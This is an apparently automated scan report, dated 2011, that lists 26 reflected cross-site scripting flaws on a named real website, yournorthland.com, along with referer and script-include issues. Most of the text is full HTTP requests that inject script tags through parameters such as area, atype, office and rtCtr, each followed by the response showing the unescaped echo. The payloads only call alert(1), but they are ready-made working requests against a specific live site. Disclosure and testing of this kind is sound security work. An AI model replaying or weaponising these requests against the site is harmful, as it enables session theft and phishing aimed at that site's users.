XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, yournorthland.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Wed Apr 27 15:42:27 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading

Loading

1. Cross-site scripting (reflected)

1.1. http://yournorthland.com/aboutUs/careers.asp [area parameter]

1.2. http://yournorthland.com/aboutUs/careers.asp [atype parameter]

1.3. http://yournorthland.com/aboutUs/careers.asp [office parameter]

1.4. http://yournorthland.com/aboutUs/careers.asp [rtCtr parameter]

1.5. http://yournorthland.com/aboutUs/eeo.asp [area parameter]

1.6. http://yournorthland.com/aboutUs/eeo.asp [atype parameter]

1.7. http://yournorthland.com/aboutUs/eeo.asp [office parameter]

1.8. http://yournorthland.com/aboutUs/eeo.asp [rtCtr parameter]

1.9. http://yournorthland.com/aboutUs/whoWeAre.asp [area parameter]

1.10. http://yournorthland.com/aboutUs/whoWeAre.asp [atype parameter]

1.11. http://yournorthland.com/aboutUs/whoWeAre.asp [office parameter]

1.12. http://yournorthland.com/aboutUs/whoWeAre.asp [rtCtr parameter]

1.13. http://yournorthland.com/custHelp/paymentoptions.asp [area parameter]

1.14. http://yournorthland.com/custHelp/paymentoptions.asp [atype parameter]

1.15. http://yournorthland.com/custHelp/paymentoptions.asp [office parameter]

1.16. http://yournorthland.com/custHelp/paymentoptions.asp [rtCtr parameter]

1.17. http://yournorthland.com/custHelp/phoneHelp.asp [area parameter]

1.18. http://yournorthland.com/custHelp/phoneHelp.asp [atype parameter]

1.19. http://yournorthland.com/custHelp/phoneHelp.asp [office parameter]

1.20. http://yournorthland.com/custHelp/phoneHelp.asp [rtCtr parameter]

1.21. http://yournorthland.com/custhelp/default.asp [area parameter]

1.22. http://yournorthland.com/custhelp/default.asp [office parameter]

1.23. http://yournorthland.com/custhelp/default.asp [rtCtr parameter]

1.24. http://yournorthland.com/scripts/formmail.asp [Email parameter]

1.25. http://yournorthland.com/scripts/formmail.asp [_recipients parameter]

1.26. http://yournorthland.com/scripts/formmail.asp [_requiredFields parameter]

2. Referer-dependent response

3. Cross-domain Referer leakage

3.1. http://yournorthland.com/aboutUs/careers.asp

3.2. http://yournorthland.com/aboutUs/eeo.asp

3.3. http://yournorthland.com/aboutUs/whoWeAre.asp

3.4. http://yournorthland.com/custHelp/paymentoptions.asp

3.5. http://yournorthland.com/custHelp/phoneHelp.asp

3.6. http://yournorthland.com/custhelp/default.asp

4. Cross-domain script include

4.1. http://yournorthland.com/aboutUs/careers.asp

4.2. http://yournorthland.com/aboutUs/eeo.asp

4.3. http://yournorthland.com/aboutUs/whoWeAre.asp

4.4. http://yournorthland.com/contact.asp

4.5. http://yournorthland.com/custHelp/paymentoptions.asp

4.6. http://yournorthland.com/custHelp/phoneHelp.asp

4.7. http://yournorthland.com/custhelp/default.asp

4.8. http://yournorthland.com/ordernow.asp

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 26 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://yournorthland.com/aboutUs/careers.asp [area parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/careers.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45cbc"><script>alert(1)</script>41a66e862ba was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/careers.asp?atype=&area=45cbc"><script>alert(1)</script>41a66e862ba&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.7.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13094
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:46 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=45cbc"><script>alert(1)</script>41a66e862ba&office=&rtCtr=">
...[SNIP]...

1.2. http://yournorthland.com/aboutUs/careers.asp [atype parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/careers.asp

Issue detail

The value of the atype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8837b"><script>alert(1)</script>59834465d87 was submitted in the atype parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/careers.asp?atype=8837b"><script>alert(1)</script>59834465d87&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.7.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13094
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:39 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=8837b"><script>alert(1)</script>59834465d87&area=&office=&rtCtr=">
...[SNIP]...

1.3. http://yournorthland.com/aboutUs/careers.asp [office parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/careers.asp

Issue detail

The value of the office request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70b31"><script>alert(1)</script>bdb72d01628 was submitted in the office parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/careers.asp?atype=&area=&office=70b31"><script>alert(1)</script>bdb72d01628&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.7.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13094
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:53 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=70b31"><script>alert(1)</script>bdb72d01628&rtCtr=">
...[SNIP]...

1.4. http://yournorthland.com/aboutUs/careers.asp [rtCtr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/careers.asp

Issue detail

The value of the rtCtr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 383bf"><script>alert(1)</script>50ee084302e was submitted in the rtCtr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/careers.asp?atype=&area=&office=&rtCtr=383bf"><script>alert(1)</script>50ee084302e HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.7.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13094
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:33:01 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=&rtCtr=383bf"><script>alert(1)</script>50ee084302e">
...[SNIP]...

1.5. http://yournorthland.com/aboutUs/eeo.asp [area parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/eeo.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70d6a"><script>alert(1)</script>ea88088a31f was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/eeo.asp?atype=&area=70d6a"><script>alert(1)</script>ea88088a31f&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.6.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11936
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:43 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=70d6a"><script>alert(1)</script>ea88088a31f&office=&rtCtr=">
...[SNIP]...

1.6. http://yournorthland.com/aboutUs/eeo.asp [atype parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/eeo.asp

Issue detail

The value of the atype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0296"><script>alert(1)</script>f0516589a69 was submitted in the atype parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/eeo.asp?atype=a0296"><script>alert(1)</script>f0516589a69&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.6.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11936
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:35 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=a0296"><script>alert(1)</script>f0516589a69&area=&office=&rtCtr=">
...[SNIP]...

1.7. http://yournorthland.com/aboutUs/eeo.asp [office parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/eeo.asp

Issue detail

The value of the office request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4c78"><script>alert(1)</script>8831106c8f8 was submitted in the office parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/eeo.asp?atype=&area=&office=e4c78"><script>alert(1)</script>8831106c8f8&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.6.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11936
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:50 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=e4c78"><script>alert(1)</script>8831106c8f8&rtCtr=">
...[SNIP]...

1.8. http://yournorthland.com/aboutUs/eeo.asp [rtCtr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/eeo.asp

Issue detail

The value of the rtCtr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f9ea"><script>alert(1)</script>edc4ffc8a9d was submitted in the rtCtr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/eeo.asp?atype=&area=&office=&rtCtr=2f9ea"><script>alert(1)</script>edc4ffc8a9d HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.6.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11936
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:58 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=&rtCtr=2f9ea"><script>alert(1)</script>edc4ffc8a9d">
...[SNIP]...

1.9. http://yournorthland.com/aboutUs/whoWeAre.asp [area parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/whoWeAre.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 417d0"><script>alert(1)</script>b4831402b5 was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/whoWeAre.asp?atype=&area=417d0"><script>alert(1)</script>b4831402b5&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.8.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13092
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:48 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=417d0"><script>alert(1)</script>b4831402b5&office=&rtCtr=">
...[SNIP]...

1.10. http://yournorthland.com/aboutUs/whoWeAre.asp [atype parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/whoWeAre.asp

Issue detail

The value of the atype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 727fe"><script>alert(1)</script>2b025fdc104 was submitted in the atype parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/whoWeAre.asp?atype=727fe"><script>alert(1)</script>2b025fdc104&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.8.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13106
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:40 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=727fe"><script>alert(1)</script>2b025fdc104&area=&office=&rtCtr=">
...[SNIP]...

1.11. http://yournorthland.com/aboutUs/whoWeAre.asp [office parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/whoWeAre.asp

Issue detail

The value of the office request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebac9"><script>alert(1)</script>16eb0e18f5f was submitted in the office parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/whoWeAre.asp?atype=&area=&office=ebac9"><script>alert(1)</script>16eb0e18f5f&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.8.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13106
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:56 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=ebac9"><script>alert(1)</script>16eb0e18f5f&rtCtr=">
...[SNIP]...

1.12. http://yournorthland.com/aboutUs/whoWeAre.asp [rtCtr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/whoWeAre.asp

Issue detail

The value of the rtCtr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16068"><script>alert(1)</script>d7eec052c13 was submitted in the rtCtr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aboutUs/whoWeAre.asp?atype=&area=&office=&rtCtr=16068"><script>alert(1)</script>d7eec052c13 HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.8.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13106
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:33:04 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=&rtCtr=16068"><script>alert(1)</script>d7eec052c13">
...[SNIP]...

1.13. http://yournorthland.com/custHelp/paymentoptions.asp [area parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/paymentoptions.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21485"><script>alert(1)</script>9807c2c50b7 was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/paymentoptions.asp?atype=&area=21485"><script>alert(1)</script>9807c2c50b7&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10916
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:34 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
